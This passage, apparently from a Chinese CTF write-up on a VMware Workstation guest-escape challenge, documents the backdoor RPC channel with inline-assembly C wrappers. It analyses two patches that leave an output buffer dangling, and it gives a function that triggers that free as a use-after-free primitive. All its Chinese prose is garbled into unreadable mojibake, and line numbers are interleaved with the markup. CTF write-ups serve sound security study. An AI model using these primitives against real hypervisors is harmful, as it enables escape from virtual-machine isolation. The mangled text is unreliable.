class="s">"%r8"</span><span class="p">,</span><span class="s">"%r10"</span><span class="p">,</span><span class="s">"%r11"</span><span class="p">,</span><span class="s">"%r12"</span><span class="p">,</span><span class="s">"%r13"</span> 957 <span class="p">);</span> 958<span class="p">}</span> 959</pre></div> 960 961<h3 id="send-rpc-command-length">Send RPC command length<a class="headerlink" href="#send-rpc-command-length" title="Permanent link">¶</a></h3> 962<blockquote> 963<p>RPC subcommandï¼01h</p> 964</blockquote> 965<p>è°ç¨ï¼</p> 966<div class="codehilite"><pre><span></span><span class="n">EAX</span> <span class="o">=</span> <span class="mi">564</span><span class="n">D5868h</span> <span class="o">-</span> <span class="n">magic</span> <span class="n">number</span> 967<span class="n">EBX</span> <span class="o">=</span> <span class="n">command</span> <span class="n">length</span> <span class="p">(</span><span class="n">not</span> <span class="n">including</span> <span class="n">the</span> <span class="n">terminating</span> <span class="nb">NULL</span><span class="p">)</span> 968<span class="n">ECX</span><span class="p">(</span><span class="n">HI</span><span class="p">)</span> <span class="o">=</span> <span class="mo">0001</span><span class="n">h</span> <span class="o">-</span> <span class="n">subcommand</span> <span class="n">number</span> 969<span class="n">ECX</span><span class="p">(</span><span class="n">LO</span><span class="p">)</span> <span class="o">=</span> <span class="mo">001</span><span class="n">Eh</span> <span class="o">-</span> <span class="n">command</span> <span class="n">number</span> 970<span class="n">EDX</span><span class="p">(</span><span class="n">HI</span><span class="p">)</span> <span class="o">=</span> <span class="n">channel</span> <span class="n">number</span> 971<span class="n">EDX</span><span class="p">(</span><span class="n">LO</span><span class="p">)</span> <span class="o">=</span> <span class="mi">5658</span><span class="n">h</span> <span class="o">-</span> <span class="n">port</span> <span class="n">number</span> 972</pre></div> 973 974<p>è¿åå¼ï¼</p> 975<div class="codehilite"><pre><span></span><span class="n">ECX</span> <span class="o">=</span> <span class="mo">00</span><span class="mi">810000</span><span class="nl">h</span><span class="p">:</span> <span class="n">success</span> <span class="o">/</span> <span class="mo">00000000</span><span class="nl">h</span><span class="p">:</span> <span class="n">failure</span> 976</pre></div> 977 978<p>å¨åéRPC commandåï¼éè¦å åéRPC commandçé¿åº¦ï¼éè¦æ³¨æçæ¯ï¼æ¤æ¶æä»¬è¾å ¥çchannel numberææåçchannelå¿ é¡»å¤äºå·²ç»opençç¶æãECXä¼è¿åæ¯å¦æååéãå ·ä½å®ç°å¦ä¸ï¼</p> 979<div class="codehilite"><pre><span></span><span class="kt">void</span> <span class="nf">channel_set_len</span><span class="p">(</span><span class="kt">int</span> <span class="n">cookie1</span><span class="p">,</span><span class="kt">int</span> <span class="n">cookie2</span><span class="p">,</span><span class="kt">int</span> <span class="n">channel_num</span><span class="p">,</span><span class="kt">int</span> <span class="n">len</span><span class="p">,</span><span class="kt">int</span> <span class="o">*</span><span class="n">res</span><span class="p">){</span> 980 <span class="k">asm</span><span class="p">(</span><span class="s">"movl %%eax,%%ebx</span><span class="se">
980\n\t</span><span class="s">"</span> 981 <span class="s">"movq %%r8,%%r10</span><span class="se">\n\t</span><span class="s">"</span> 982 <span class="s">"movl %%ecx,%%ebx</span><span class="se">\n\t</span><span class="s">"</span> 983 <span class="s">"movl $0x564d5868,%%eax</span><span class="se">\n\t</span><span class="s">"</span> 984 <span class="s">"movl $0x0001001e,%%ecx</span><span class="se">\n\t</span><span class="s">"</span> 985 <span class="s">"movw $0x5658,%%dx</span><span class="se">\n\t</span><span class="s">"</span> 986 <span class="s">"out %%eax,%%dx</span><span class="se">\n\t</span><span class="s">"</span> 987 <span class="s">"movl %%ecx,(%%r10)</span><span class="se">\n\t</span><span class="s">"</span> 988 <span class="o">:</span> 989 <span class="o">:</span> 990 <span class="o">:</span><span class="s">"%rax"</span><span class="p">,</span><span class="s">"%rbx"</span><span class="p">,</span><span class="s">"%rcx"</span><span class="p">,</span><span class="s">"%rdx"</span><span class="p">,</span><span class="s">"%rsi"</span><span class="p">,</span><span class="s">"%rdi"</span><span class="p">,</span><span class="s">"%r10"</span> 991 <span class="p">);</span> 992<span class="p">}</span> 993</pre></div> 994 995<h3 id="send-rpc-command-data">Send RPC command data<a class="headerlink" href="#send-rpc-command-data" title="Permanent link">¶</a></h3> 996<blockquote> 997<p>RPC subcommandï¼02h</p> 998</blockquote> 999<p>è°ç¨ï¼</p> 1000<div class="codehilite"><pre><span></span><span class="n">EAX</span> <span class="o">=</span> <span class="mi">564</span><span class="n">D5868h</span> <span class="o">-</span> <span class="n">magic</span> <span class="n">number</span> 1001<span class="n">EBX</span> <span class="o">=</span> <span class="mi">4</span> <span class="n">bytes</span> <span class="n">from</span> <span class="n">the</span> <span class="n">command</span> <span class="n">data</span> <span class="p">(</span><span class="n">the</span> <span class="n">first</span> <span class="n">byte</span> <span class="n">in</span> <span class="n">LSB</span><span class="p">)</span> 1002<span class="n">ECX</span><span class="p">(</span><span class="n">HI</span><span class="p">)</span> <span class="o">=</span> <span class="mo">0002</span><span class="n">h</span> <span class="o">-</span> <span class="n">subcommand</span> <span class="n">number</span> 1003<span class="n">ECX</span><span class="p">(</span><span class="n">LO</span><span class="p">)</span> <span class="o">=</span> <span class="mo">001</span><span class="n">Eh</span> <span class="o">-</span> <span class="n">command</span> <span class="n">number</span> 1004<span class="n">EDX</span><span class="p">(</span><span class="n">HI</span><span class="p">)</span> <span class="o">=</span> <span class="n">channel</span> <span class="n">number</span> 1005<span class="n">EDX</span><span class="p">(</span><span class="n">LO</span><span class="p">)</span> <span class="o">=</span> <span class="mi">5658</span><span class="n">h</span> <span class="o">-</span> <span class="n">port</span> <span class="n">number</span> 1006</pre></div> 1007 1008<p>è¿åå¼:</p> 1009<div class="codehilite"><pre><span></span><span class="n">ECX</span> <span class="o">=</span> <span class="mo">000010000</span><span class="nl">h</span><span class="p">:</span> <span class="n">success</span> <span class="o">/</span> <span class="mo">00000000</span><span class="nl">h</span><span class="p">:</span> <span class="n">failure</span> 1010</pre></div> 1011 1012<p>该åè½å¿ é¡»å¨Send RPC command lengthå使ç¨,æ¯æ¬¡åªè½åé4个åèãä¾å¦ï¼å¦æè¦åéå½ä»¤<code>machine.id.get</code>ï¼é£ä¹å¿ é¡»è¦è°ç¨4次ï¼åå«ä¸ºï¼</p> 1013<p><div class="codehilite"><pre><span></span><span class="n">EBX</span> <span class="n">set</span> <span class="n">to</span> <span class="mi">6863616</span><span class="n">Dh</span> <span class="p">(</span><span class="s">"mach"</span><span class="p">)</span> 1014<span class="n">EBX</span> <span class="n">set</span> <span class="n">to</span> <span class="mf">2E656</span><span class="n">E69h</span> <span class="p">(</span><span class="s">"ine."</span><span class="p">)</span> 1015<span class="n">EBX</span> <span class="n">set</span> <span class="n">to</span> <span class="mf">672E6469</span><span class="n">h</span> <span class="p">(</span><span class="s">"id.g"</span><span class="p">)</span> 1016<span class="n">EBX</span> <span class="n">set</span> <span class="n">to</span> <span class="mo">00007465</span><span class="n">h</span> <span class="p">(</span><span class="s">"
1016et</span><span class="se">\x00\x00</span><span class="s">"</span><span class="p">)</span> 1017</pre></div> 1018ECXä¼è¿åæ¯å¦æåï¼å ·ä½å®ç°å¦ä¸ï¼</p> 1019<div class="codehilite"><pre><span></span><span class="kt">void</span> <span class="nf">channel_send_data</span><span class="p">(</span><span class="kt">int</span> <span class="n">cookie1</span><span class="p">,</span><span class="kt">int</span> <span class="n">cookie2</span><span class="p">,</span><span class="kt">int</span> <span class="n">channel_num</span><span class="p">,</span><span class="kt">int</span> <span class="n">len</span><span class="p">,</span><span class="kt">char</span> <span class="o">*</span><span class="n">data</span><span class="p">,</span><span class="kt">int</span> <span class="o">*</span><span class="n">res</span><span class="p">){</span> 1020 <span class="k">asm</span><span class="p">(</span><span class="s">"pushq %%rbp</span><span class="se">\n\t</span><span class="s">"</span> 1021 <span class="s">"movq %%r9,%%r10</span><span class="se">\n\t</span><span class="s">"</span> 1022 <span class="s">"movq %%r8,%%rbp</span><span class="se">\n\t</span><span class="s">"</span> 1023 <span class="s">"movq %%rcx,%%r11</span><span class="se">\n\t</span><span class="s">"</span> 1024 <span class="s">"movq $0,%%r12</span><span class="se">\n\t</span><span class="s">"</span> 1025 <span class="s">"1:</span><span class="se">\n\t</span><span class="s">"</span> 1026 <span class="s">"movq %%r8,%%rbp</span><span class="se">\n\t</span><span class="s">"</span> 1027 <span class="s">"add %%r12,%%rbp</span><span class="se">\n\t</span><span class="s">"</span> 1028 <span class="s">"movl (%%rbp),%%ebx</span><span class="se">\n\t</span><span class="s">"</span> 1029 <span class="s">"movl $0x564d5868,%%eax</span><span class="se">\n\t</span><span class="s">"</span> 1030 <span class="s">"movl $0x0002001e,%%ecx</span><span class="se">\n\t</span><span class="s">"</span> 1031 <span class="s">"movw $0x5658,%%dx</span><span class="se">\n\t</span><span class="s">"</span> 1032 <span class="s">"out %%eax,%%dx</span><span class="se">\n\t</span><span class="s">"</span> 1033 <span class="s">"addq $4,%%r12</span><span class="se">\n\t</span><span class="s">"</span> 1034 <span class="s">"cmpq %%r12,%%r11</span><span class="se">\n\t</span><span class="s">"</span> 1035 <span class="s">"ja 1b</span><span class="se">\n\t</span><span class="s">"</span> 1036 <span class="s">"movl %%ecx,(%%r10)</span><span class="se">\n\t</span><span class="s">"</span> 1037 <span class="s">"popq %%rbp</span><span class="se">\n\t</span><span class="s">"</span> 1038 <span class="o">:</span> 1039 <span class="o">:</span> 1040 <span class="o">:</span><span class="s">"%rax"</span><span class="p">,</span><span class="s">"%rbx"</span><span class="p">,</span><span class="s">"%rcx"</span><span class="p">,</span><span class="s">"%rdx"</span><span class="p">,</span><span class="s">"%rsi"</span><span class="p">,</span><span class="s">"%rdi"</span><span class="p">,</span><span class="s">"%r10"</span><span class="p">,</span><span class="s">"%r11"</span><span class="p">,</span><span class="s">"%r12"</span> 1041 <span class="p">);</span> 1042<span class="p">}</span> 1043</pre></div> 1044 1045<h3 id="recieve-rpc-reply-length">Recieve RPC reply length<a class="headerlink" href="#recieve-rpc-reply-length" title="Permanent link">¶</a></h3> 1046<blockquote> 1047<p>RPC subcommandï¼03h</p> 1048</blockquote> 1049<p>è°ç¨ï¼ 1050<div class="codehilite"><pre><span></span><span class="n">EAX</span> <span class="o">=</span> <span class="mi">564</span><span class="n">D5868h</span> <span class="o">-</span> <span class="n">magic</span> <span class="n">number</span> 1051<span class="n">ECX</span><span class="p">(</span><span class="n">HI</span><span class="p">)</span> <span class="o">=</span> <span class="mo">0003</span><span class="n">h</span> <span class="o">-</span> <span class="n">subcommand</span> <span class="n">number</span> 1052<span class="n">ECX</span><span class="p">(</span><span class="n">LO</span><span class="p">)</span> <span class="o">=</span> <span class="mo">001</span><span class="n">Eh</span> <span class="o">-</span> <span class="n">command</span> <span class="n">number</span> 1053<span class="n">EDX</span><span class="p">(</span><span class="n">HI</span><span class="p">)</span> <span class="o">=</span> <span class="n">channel</span> <span class="n">number</span> 1054<span class="n">EDX</span><span class="p">(</span><span class="n">LO</span><span class="p">)</span> <span class="o">=</span> <span class="mi">5658</span><span class="n">h</span> <span class="o">-</span> <span class="n">port</span> <span class="n">number</span> 1055</pre></div> 1056è¿åå¼ï¼ 1057<div class="codehilite"><pre><span></span><span class="n">EBX</span> <span class="o">=</span> <span class="n">reply</span> <span class="n">length</span> <span class="p">(</span><span class="n">not</span> <span class="n">including</span> <span class="n">the</span> <span class="n">terminating</span> <span class="nb">NULL</span><span class="p">)</span> 1058<span class="n">ECX</span> <span class="o">=</span> <span class="mo">00</span><span class="mi">830000</span><span class="nl">h</span><span class="p">:</span> <span class="n">success</span> <span class="o">/</span> <span class="mo">00000000</span><span class="nl">h</span><span class="p">:</span> <span class="n">failure</span> 1059</pre></div> 1060æ¥æ¶RPC replyçé¿åº¦ãéè¦æ³¨æçæ¯ææçRPC commandé½ä¼è¿åè³å°2个åèçreplyçæ°æ®ï¼å ¶ä¸<code>1</code>表示<code>success</code>,<code>0</code>表示<code>failure</code>
1060ï¼å³ä½¿VMwareæ æ³è¯å«RPC commandï¼ä¹ä¼è¿å<code>0 Unknown command</code>ä½ä¸ºreplyãä¹å°±æ¯è¯´ï¼replyæ°æ®çå两个åèå§ç»è¡¨ç¤ºRPC commandå½ä»¤çç¶æã 1061<div class="codehilite"><pre><span></span><span class="kt">void</span> <span class="nf">channel_recv_reply_len</span><span class="p">(</span><span class="kt">int</span> <span class="n">cookie1</span><span class="p">,</span><span class="kt">int</span> <span class="n">cookie2</span><span class="p">,</span><span class="kt">int</span> <span class="n">channel_num</span><span class="p">,</span><span class="kt">int</span> <span class="o">*</span><span class="n">len</span><span class="p">,</span><span class="kt">int</span> <span class="o">*</span><span class="n">res</span><span class="p">){</span> 1062 <span class="k">asm</span><span class="p">(</span><span class="s">"movl %%eax,%%ebx</span><span class="se">\n\t</span><span class="s">"</span> 1063 <span class="s">"movq %%r8,%%r10</span><span class="se">\n\t</span><span class="s">"</span> 1064 <span class="s">"movq %%rcx,%%r11</span><span class="se">\n\t</span><span class="s">"</span> 1065 <span class="s">"movl $0x564d5868,%%eax</span><span class="se">\n\t</span><span class="s">"</span> 1066 <span class="s">"movl $0x0003001e,%%ecx</span><span class="se">\n\t</span><span class="s">"</span> 1067 <span class="s">"movw $0x5658,%%dx</span><span class="se">\n\t</span><span class="s">"</span> 1068 <span class="s">"out %%eax,%%dx</span><span class="se">\n\t</span><span class="s">"</span> 1069 <span class="s">"movl %%ecx,(%%r10)</span><span class="se">\n\t</span><span class="s">"</span> 1070 <span class="s">"movl %%ebx,(%%r11)</span><span class="se">\n\t</span><span class="s">"</span> 1071 <span class="o">:</span> 1072 <span class="o">:</span> 1073 <span class="o">:</span><span class="s">"%rax"</span><span class="p">,</span><span class="s">"%rbx"</span><span class="p">,</span><span class="s">"%rcx"</span><span class="p">,</span><span class="s">"%rdx"</span><span class="p">,</span><span class="s">"%rsi"</span><span class="p">,</span><span class="s">"%rdi"</span><span class="p">,</span><span class="s">"%r10"</span><span class="p">,</span><span class="s">"%r11"</span> 1074 <span class="p">);</span> 1075 1076<span class="p">}</span> 1077</pre></div></p> 1078<h3 id="receive-rpc-reply-data">Receive RPC reply data<a class="headerlink" href="#receive-rpc-reply-data" title="Permanent link">¶</a></h3> 1079<blockquote> 1080<p>RPC subcommandï¼04h</p> 1081</blockquote> 1082<p>è°ç¨ï¼ 1083<div class="codehilite"><pre><span></span><span class="n">EAX</span> <span class="o">=</span> <span class="mi">564</span><span class="n">D5868h</span> <span class="o">-</span> <span class="n">magic</span> <span class="n">number</span> 1084<span class="n">EBX</span> <span class="o">=</span> <span class="n">reply</span> <span class="n">type</span> <span class="n">from</span> <span class="n">subcommand</span> <span class="mo">03</span><span class="n">h</span> 1085<span class="n">ECX</span><span class="p">(</span><span class="n">HI</span><span class="p">)</span> <span class="o">=</span> <span class="mo">0004</span><span class="n">h</span> <span class="o">-</span> <span class="n">subcommand</span> <span class="n">number</span> 1086<span class="n">ECX</span><span class="p">(</span><span class="n">LO</span><span class="p">)</span> <span class="o">=</span> <span class="mo">001</span><span class="n">Eh</span> <span class="o">-</span> <span class="n">command</span> <span class="n">number</span> 1087<span class="n">EDX</span><span class="p">(</span><span class="n">HI</span><span class="p">)</span> <span class="o">=</span> <span class="n">channel</span> <span class="n">number</span> 1088<span class="n">EDX</span><span class="p">(</span><span class="n">LO</span><span class="p">)</span> <span class="o">=</span> <span class="mi">5658</span><span class="n">h</span> <span class="o">-</span> <span class="n">port</span> <span class="n">number</span> 1089</pre></div> 1090è¿åï¼ 1091<div class="codehilite"><pre><span></span><span class="n">EBX</span> <span class="o">=</span> <span class="mi">4</span> <span class="n">bytes</span> <span class="n">from</span> <span class="n">the</span> <span class="n">reply</span> <span class="n">data</span> <span class="p">(</span><span class="n">the</span> <span class="n">first</span> <span class="n">byte</span> <span class="n">in</span> <span class="n">LSB</span><span class="p">)</span> 1092<span class="n">ECX</span> <span class="o">=</span> <span class="mo">00010000</span><span class="nl">h</span><span class="p">:</span> <span class="n">success</span> <span class="o">/</span> <span class="mo">00000000</span><span class="nl">h</span><span class="p">:</span> <span class="n">failure</span> 1093</pre></div> 1094å<code>https://sites.google.com/site/chitchatvmback/backdoor</code>䏿åºå ¥çæ¯ï¼å¨å®é çéååæä¸ï¼EBXä¸åæ¾çå¼ï¼ä¸æ¯reply idï¼èæ¯reply typeï¼ä»å³å®äºæ§è¡çè·¯å¾ãååéæ°æ®ä¸æ ·ï¼æ¯æ¬¡åªè½å¤æ¥å4个åèçæ°æ®ãéè¦æ³¨æçæ¯ï¼æä»¬å¨<code>Recieve RPC reply length</code>䏿å°è¿ï¼åºçæ°æ®çå两个åèå§ç»è¡¨ç¤ºRPC commandçç¶æã举ä¾è¯´æï¼å¦ææä»¬ä½¿ç¨RPC command询é®<code>machine.id.get</code>ï¼å¦ææåçè¯ï¼ä¼è¿å<code>1 <virtual machine id></code>ï¼å¦å为<code>0 No machine id</code>ã 1095<div class="codehilite"><pre><span></span><span class="kt">void</span> <span class="nf">channel_recv_data</span><span class="p">(</span><span class="kt">int</span> <span class="n">cookie1</span><span class="p">,</span><span class="kt">int</span> <span class="n">cookie2</span><span class="p">,</span><span class="kt">int</span> <span class="n">channel_num</span><span class="p">,</span><span class="kt">int</span> <span class="n">offset</span><span class="p">,</span><span class="kt">char</span> <span class="o">*</span><span class="n">data</span><span class="p">,</span><span class="kt">int</span> <span class="o">*</span><span class="n">res</span><span class="p">){</span> 1096 <span class="k">asm</span><span class="p">(</span><span class="s">"pushq %%rbp</span><span class="se">
1096\n\t</span><span class="s">"</span> 1097 <span class="s">"movq %%r9,%%r10</span><span class="se">\n\t</span><span class="s">"</span> 1098 <span class="s">"movq %%r8,%%rbp</span><span class="se">\n\t</span><span class="s">"</span> 1099 <span class="s">"movq %%rcx,%%r11</span><span class="se">\n\t</span><span class="s">"</span> 1100 <span class="s">"movq $1,%%rbx</span><span class="se">\n\t</span><span class="s">"</span> 1101 <span class="s">"movl $0x564d5868,%%eax</span><span class="se">\n\t</span><span class="s">"</span> 1102 <span class="s">"movl $0x0004001e,%%ecx</span><span class="se">\n\t</span><span class="s">"</span> 1103 <span class="s">"movw $0x5658,%%dx</span><span class="se">\n\t</span><span class="s">"</span> 1104 <span class="s">"in %%dx,%%eax</span><span class="se">\n\t</span><span class="s">"</span> 1105 <span class="s">"add %%r11,%%rbp</span><span class="se">\n\t</span><span class="s">"</span> 1106 <span class="s">"movl %%ebx,(%%rbp)</span><span class="se">\n\t</span><span class="s">"</span> 1107 <span class="s">"movl %%ecx,(%%r10)</span><span class="se">\n\t</span><span class="s">"</span> 1108 <span class="s">"popq %%rbp</span><span class="se">\n\t</span><span class="s">"</span> 1109 <span class="o">:</span> 1110 <span class="o">:</span> 1111 <span class="o">:</span><span class="s">"%rax"</span><span class="p">,</span><span class="s">"%rbx"</span><span class="p">,</span><span class="s">"%rcx"</span><span class="p">,</span><span class="s">"%rdx"</span><span class="p">,</span><span class="s">"%rsi"</span><span class="p">,</span><span class="s">"%rdi"</span><span class="p">,</span><span class="s">"%r10"</span><span class="p">,</span><span class="s">"%r11"</span><span class="p">,</span><span class="s">"%r12"</span> 1112 <span class="p">);</span> 1113<span class="p">}</span> 1114</pre></div></p> 1115<h3 id="finish-receiving-rpc-reply">Finish receiving RPC reply<a class="headerlink" href="#finish-receiving-rpc-reply" title="Permanent link">¶</a></h3> 1116<blockquote> 1117<p>RPC subcommandï¼05h</p> 1118</blockquote> 1119<p>è°ç¨ï¼ 1120<div class="codehilite"><pre><span></span><span class="n">EAX</span> <span class="o">=</span> <span class="mi">564</span><span class="n">D5868h</span> <span class="o">-</span> <span class="n">magic</span> <span class="n">number</span> 1121<span class="n">EBX</span> <span class="o">=</span> <span class="n">reply</span> <span class="n">type</span> <span class="n">from</span> <span class="n">subcommand</span> <span class="mo">03</span><span class="n">h</span> 1122<span class="n">ECX</span><span class="p">(</span><span class="n">HI</span><span class="p">)</span> <span class="o">=</span> <span class="mo">0005</span><span class="n">h</span> <span class="o">-</span> <span class="n">subcommand</span> <span class="n">number</span> 1123<span class="n">ECX</span><span class="p">(</span><span class="n">LO</span><span class="p">)</span> <span class="o">=</span> <span class="mo">001</span><span class="n">Eh</span> <span class="o">-</span> <span class="n">command</span> <span class="n">number</span> 1124<span class="n">EDX</span><span class="p">(</span><span class="n">HI</span><span class="p">)</span> <span class="o">=</span> <span class="n">channel</span> <span class="n">number</span> 1125<span class="n">EDX</span><span class="p">(</span><span class="n">LO</span><span class="p">)</span> <span class="o">=</span> <span class="mi">5658</span><span class="n">h</span> <span class="o">-</span> <span class="n">port</span> <span class="n">number</span> 1126</pre></div> 1127è¿åï¼ 1128<div class="codehilite"><pre><span></span><span class="n">ECX</span> <span class="o">=</span> <span class="mo">00010000</span><span class="nl">h</span><span class="p">:</span> <span class="n">success</span> <span class="o">/</span> <span class="mo">00000000</span><span class="nl">h</span><span class="p">:</span> <span class="n">failure</span> 1129</pre></div>
1130ååææè¿°ä¸æ ·ï¼å¨EBXä¸åå¨çæ¯reply typeã卿¥æ¶å®replyçæ°æ®åï¼è°ç¨æ¤å½ä»¤ãå¦ææ²¡æéè¿<code>Receive RPC reply data</code>æ¥æ¶å®æ´ä¸ªreplyæ°æ®çè¯ï¼å°±ä¼è¿åfailureã 1131<div class="codehilite"><pre><span></span><span class="kt">void</span> <span class="nf">channel_recv_finish</span><span class="p">(</span><span class="kt">int</span> <span class="n">cookie1</span><span class="p">,</span><span class="kt">int</span> <span class="n">cookie2</span><span class="p">,</span><span class="kt">int</span> <span class="n">channel_num</span><span class="p">,</span><span class="kt">int</span> <span class="o">*</span><span class="n">res</span><span class="p">){</span> 1132 <span class="k">asm</span><span class="p">(</span><span class="s">"movl %%eax,%%ebx</span><span class="se">\n\t</span><span class="s">"</span> 1133 <span class="s">"movq %%rcx,%%r10</span><span class="se">\n\t</span><span class="s">"</span> 1134 <span class="s">"movq $0x1,%%rbx</span><span class="se">\n\t</span><span class="s">"</span> 1135 <span class="s">"movl $0x564d5868,%%eax</span><span class="se">\n\t</span><span class="s">"</span> 1136 <span class="s">"movl $0x0005001e,%%ecx</span><span class="se">\n\t</span><span class="s">"</span> 1137 <span class="s">"movw $0x5658,%%dx</span><span class="se">\n\t</span><span class="s">"</span> 1138 <span class="s">"out %%eax,%%dx</span><span class="se">\n\t</span><span class="s">"</span> 1139 <span class="s">"movl %%ecx,(%%r10)</span><span class="se">\n\t</span><span class="s">"</span> 1140 <span class="o">:</span> 1141 <span class="o">:</span> 1142 <span class="o">:</span><span class="s">"%rax"</span><span class="p">,</span><span class="s">"%rbx"</span><span class="p">,</span><span class="s">"%rcx"</span><span class="p">,</span><span class="s">"%rdx"</span><span class="p">,</span><span class="s">"%rsi"</span><span class="p">,</span><span class="s">"%rdi"</span><span class="p">,</span><span class="s">"%r10"</span> 1143 <span class="p">);</span> 1144<span class="p">}</span> 1145</pre></div></p> 1146<h3 id="close-rpc-channel">Close RPC channel<a class="headerlink" href="#close-rpc-channel" title="Permanent link">¶</a></h3> 1147<blockquote> 1148<p>RPC subcommandï¼06h</p> 1149</blockquote> 1150<p>è°ç¨ï¼ 1151<div class="codehilite"><pre><span></span><span class="n">EAX</span> <span class="o">=</span> <span class="mi">564</span><span class="n">D5868h</span> <span class="o">-</span> <span class="n">magic</span> <span class="n">number</span> 1152<span class="n">ECX</span><span class="p">(</span><span class="n">HI</span><span class="p">)</span> <span class="o">=</span> <span class="mo">0006</span><span class="n">h</span> <span class="o">-</span> <span class="n">subcommand</span> <span class="n">number</span> 1153<span class="n">ECX</span><span class="p">(</span><span class="n">LO</span><span class="p">)</span> <span class="o">=</span> <span class="mo">001</span><span class="n">Eh</span> <span class="o">-</span> <span class="n">command</span> <span class="n">number</span> 1154<span class="n">EDX</span><span class="p">(</span><span class="n">HI</span><span class="p">)</span> <span class="o">=</span> <span class="n">channel</span> <span class="n">number</span> 1155<span class="n">EDX</span><span class="p">(</span><span class="n">LO</span><span class="p">)</span> <span class="o">=</span> <span class="mi">5658</span><span class="n">h</span> <span class="o">-</span> <span class="n">port</span> <span class="n">number</span> 1156</pre></div> 1157è¿åï¼ 1158<div class="codehilite"><pre><span></span><span class="n">ECX</span> <span class="o">=</span> <span class="mo">00010000</span><span class="nl">h</span><span class="p">:</span> <span class="n">success</span> <span class="o">/</span> <span class="mo">00000000</span><span class="nl">h</span><span class="p">:</span> <span class="n">failure</span> 1159</pre></div> 1160å ³échannelã 1161<div class="codehilite"><pre><span></span><span class="kt">void</span> <span class="nf">channel_close</span><span class="p">(</span><span class="kt">int</span> <span class="n">cookie1</span><span class="p">,</span><span class="kt">int</span> <span class="n">cookie2</span><span class="p">,</span><span class="kt">int</span> <span class="n">channel_num</span><span class="p">,</span><span class="kt">int</span> <span class="o">*</span><span class="n">res</span><span class="p">){</span> 1162 <span class="k">asm</span><span class="p">(</span><span class="s">"movl %%eax,%%ebx</span><span class="se">
1162\n\t</span><span class="s">"</span> 1163 <span class="s">"movq %%rcx,%%r10</span><span class="se">\n\t</span><span class="s">"</span> 1164 <span class="s">"movl $0x564d5868,%%eax</span><span class="se">\n\t</span><span class="s">"</span> 1165 <span class="s">"movl $0x0006001e,%%ecx</span><span class="se">\n\t</span><span class="s">"</span> 1166 <span class="s">"movw $0x5658,%%dx</span><span class="se">\n\t</span><span class="s">"</span> 1167 <span class="s">"out %%eax,%%dx</span><span class="se">\n\t</span><span class="s">"</span> 1168 <span class="s">"movl %%ecx,(%%r10)</span><span class="se">\n\t</span><span class="s">"</span> 1169 <span class="o">:</span> 1170 <span class="o">:</span> 1171 <span class="o">:</span><span class="s">"%rax"</span><span class="p">,</span><span class="s">"%rbx"</span><span class="p">,</span><span class="s">"%rcx"</span><span class="p">,</span><span class="s">"%rdx"</span><span class="p">,</span><span class="s">"%rsi"</span><span class="p">,</span><span class="s">"%rdi"</span><span class="p">,</span><span class="s">"%r10"</span> 1172 <span class="p">);</span> 1173<span class="p">}</span> 1174</pre></div></p> 1175<h2 id="_2">æ¼æ´åæ<a class="headerlink" href="#_2" title="Permanent link">¶</a></h2> 1176<p>è½ç¶æ¯RealWorldçç«èµï¼ä½æ¯å 为æ¯éæ¹çVMWare Workstationï¼å æ¤æä»¬éè¿äºè¿å¶æ¯å¯¹çæ¹å¼å¯ä»¥å¿«éå®ä½å°æ¼æ´ç¹ï¼èç大éçäºè¿å¶ç¨åºå®¡è®¡åæ¼æ´ææçæ¶é´ã 1177<img alt="" src="/assets/images/backup/realworldctf_2018_stationescape/MKWqK97.png" />
1178å¯ä»¥åç°åºé¢äººä» ä» ä¿®æ¹äºä¸¤å¤ï¼ä¸å¤å¨0x1893c9ï¼å¦ä¸å¤å¨0x1893e6ãåå«å¯¹ä¸¤ä¸ªä½ç½®è¿è¡åæï¼ 1179<img alt="" src="/assets/images/backup/realworldctf_2018_stationescape/babk4SB.png" /> 1180é¦å å¨0x1893c9å¤ï¼channel->out_msg_bufç½®nullçæä½è¢«nopæäºï¼ 1181<img alt="" src="/assets/images/backup/realworldctf_2018_stationescape/npSiUHz.png" /> 1182å ¶æ¬¡å¨0x1893e6å¤ç彿°è°ç¨ä¸ï¼v7&1åæäºv7&0x21ï¼ 1183<img alt="" src="/assets/images/backup/realworldctf_2018_stationescape/MGjbs9N.png" /> 1184å¨ç¬¬ä¸å¤patchä¸ï¼out_msg_buf没æè¢«ç½®ç©ºï¼å ¶æ¬¡å¨ç¬¬äºå¤patchä¸ï¼åå 被éå¶çreply type(&0x1)åæäº&0x21,ä¹å°±æ¯è¯´ï¼æä»¬å¨Finish receiving RPC replyçreply typeä¸å¯ä»¥è®¾ç½®å¦å¤ä¸æ¡è·¯å¾ï¼è¿æ¡è·¯å¾ä¼å¯¼è´å¨éåç<code>v6</code>è¿ä¸ªè°ç¨(å®ä¼call彿°<code>sub_177700</code>)ï¼<code>output buffer</code>被<code>free</code>æã</p> 1185<p><img alt="" src="https://i.ibb.co/ZHVgstf/rwctf2.png" /></p> 1186<div class="codehilite"><pre><span></span><span class="kt">void</span> <span class="nf">channel_recv_finish2</span><span class="p">(</span><span class="kt">int</span> <span class="n">cookie1</span><span class="p">,</span><span class="kt">int</span> <span class="n">cookie2</span><span class="p">,</span><span class="kt">int</span> <span class="n">channel_num</span><span class="p">,</span><span class="kt">int</span> <span class="o">*</span><span class="n">res</span><span class="p">){</span> 1187 <span class="k">asm</span><span class="p">(</span><span class="s">"movl %%eax,%%ebx</span><span class="se">\n\t</span><span class="s">"</span> 1188 <span class="s">"movq %%rcx,%%r10</span><span class="se">\n\t</span><span class="s">"</span> 1189 <span class="s">"movq $0x21,%%rbx</span><span class="se">\n\t</span><span class="s">"</span> 1190 <span class="s">"movl $0x564d5868,%%eax</span><span class="se">\n\t</span><span class="s">"</span> 1191 <span class="s">"movl $0x0005001e,%%ecx</span><span class="se">\n\t</span><span class="s">"</span> 1192 <span class="s">"movw $0x5658,%%dx</span><span class="se">\n\t</span><span class="s">"</span> 1193 <span class="s">"out %%eax,%%dx</span><span class="se">\n\t</span><span class="s">"</span> 1194 <span class="s">"movl %%ecx,(%%r10)</span><span class="se">\n\t</span><span class="s">"</span> 1195 <span class="o">:</span> 1196 <span class="o">:</span> 1197 <span class="o">:</span><span class="s">"%rax"</span><span class="p">,</span><span class="s">"%rbx"</span><span class="p">,</span><span class="s">"%rcx"</span><span class="p">,</span><span class="s">"%rdx"</span><span class="p">,</span><span class="s">"%rsi"</span><span class="p">,</span><span class="s">"%rdi"</span><span class="p">,</span><span class="s">"%r10"</span> 1198 <span class="p">);</span> 1199<span class="p">}</span> 1200</pre></div> 1201 1202<h2 id="_3">æ¼æ´å©ç¨<a class="headerlink" href="#_3" title="Permanent link">¶</a></h2> 